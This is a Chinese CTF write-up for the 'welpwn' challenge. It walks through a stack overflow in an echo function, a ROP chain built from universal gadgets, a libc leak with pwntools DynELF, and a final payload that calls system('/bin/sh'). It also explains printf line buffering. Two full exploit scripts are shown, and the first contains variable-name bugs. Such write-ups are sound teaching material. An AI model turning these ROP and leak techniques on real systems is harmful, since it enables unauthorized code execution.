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关于printf输出时机的坑

今天遇到了一个特别有意思的题，本来很简单的利用，但一直没有算出来，最后发现是一个很简单的却很细节的问题。

welpwn详细writeup

题目地址：welpwn

首先查看一下安全策略：

保护很少，然后看一下代码逻辑：

read读入了0x400个字节，一般这么长必有溢出，注意echo并不是系统函数，查看echo逻辑：
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s2只有16个字节，但却复制了一个0x400字节的字符串，必然会有溢出。找到了溢出点，就可以考虑利用思路，但题目本身并没
有给出libc版本，那么我们需要使用DynELF将system的地址泄漏出来。但**需要注意的是，这里的复制函数遇到\x00就会停止，
而我们如果输入64位地址必然会出现\x00，所以不能直接在输入中构造ROP。**通过调试查看栈结构，发现echo的返回地址下面
紧接着就是之前read读入的串的开头：

也就是说，我们可以使用4个pop接一个ret的返回地址覆盖echo的返回地址，然后将下面read读入的24个A和这个地址弹出，然
后返回到下面构造的ROP上，而这个题中有通用gadget：

再回顾一下整个程序的逻辑，首先输出“welcome”，然后我们输入内容，然后进入echo将我们输入的内容拷贝到s2中，这里存在
溢出，然后echo中调用printf将s2（我们输入的内容）输出，然后返回（到我们劫持的地址），那么我构造了leak函数如下：



from pwn import *

p=process('./b39a59bc51fb45d8be9d478246bd00b8')
elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
def leak(address):
    print p.recvuntil('RCTF\n')
    payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)\
    +p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(mov_addr)\
    +'A'*56+p64(start_addr)
    payload=payload.ljust(1024,'A')
    p.send(payload1)
    p.recvuntil('A'*24)  #输出会在24个A之后再接三个字符（pop4的地址）
    p.recv(3)  #再接收三个
    data=p.recv(8)  #write打印的地址
    print "%x => %s" % (addr, (data or '').encode('hex'))
    return data
d=DynELF(leak,elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8'))
sys_addr=d.lookup('system','libc')

最后执行之后发现代码执行不动了：

使用python一步一步查看发现：

什么情况，8字节的地址先输出，然后输出返回到start之后重新执行时输出的Welcome，最后才输出AAAA，也就是说，

第二遍程序都开始执行了，第一遍的echo之中的AAAA还没输出。



这个问题出现的原因是：

AAA是用printf输出的，Welcome和地址是用write输出的。这里涉及到printf的特性。**printf是行缓冲函数，只有满了一行才马上
打印，write在用户态没有缓冲，所以直接输出。**这里printf等到第二遍程序执行到我们输入的地方，也就是被输入打断时才输
出。既然知道了错误的原理，就很容易构造利用代码了：

from pwn import *

p=process('./b39a59bc51fb45d8be9d478246bd00b8')
elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
prdi_addr=0x04008a3
binsh_addr=0x601070

def leak(addr):
    print p.recv()
  payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(mov_addr
)+'A'*56+p64(start_addr)
    payload=payload.ljust(1022,'C')
    p.send(payload)
    data=p.recv(8)
    print "%x => %s" % (addr, (data or '').encode('hex'))
    return data

d=DynELF(leak,elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8'))
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
print p.recv()
payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binsh_addr)+p64(0)+p64(mov_a
ddr)+'A'*56+p64(prdi_addr)+p64(binsh_addr)+p64(sys_addr)+'a'*8
payload=payload.ljust(1024,'A')
p.send(payload)
p.sendline('/bin/sh\x00')
p.interactive()



成功。

总结一下，虽说最后利用代码和思路都很简单，没什么绕弯子，但如果不知道printf的输出时机，有没有仔细调试，就会很烦。
细节真的很重要！
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